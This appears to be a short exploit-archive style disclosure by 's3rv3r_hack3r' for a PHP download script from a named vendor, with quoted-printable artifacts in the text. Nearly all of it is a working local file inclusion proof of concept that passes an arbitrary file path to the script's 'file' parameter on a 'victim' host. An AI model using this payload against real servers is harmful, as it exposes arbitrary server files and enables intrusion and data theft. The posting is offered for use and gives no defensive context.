script name : php download=0D
vendor : www.threesquared.net=0D 
By : s3rv3r_hack3r=0D
u can include local file=0D
>>=0D
www.victim.com/download/index.php?file=[file path]=0D 
+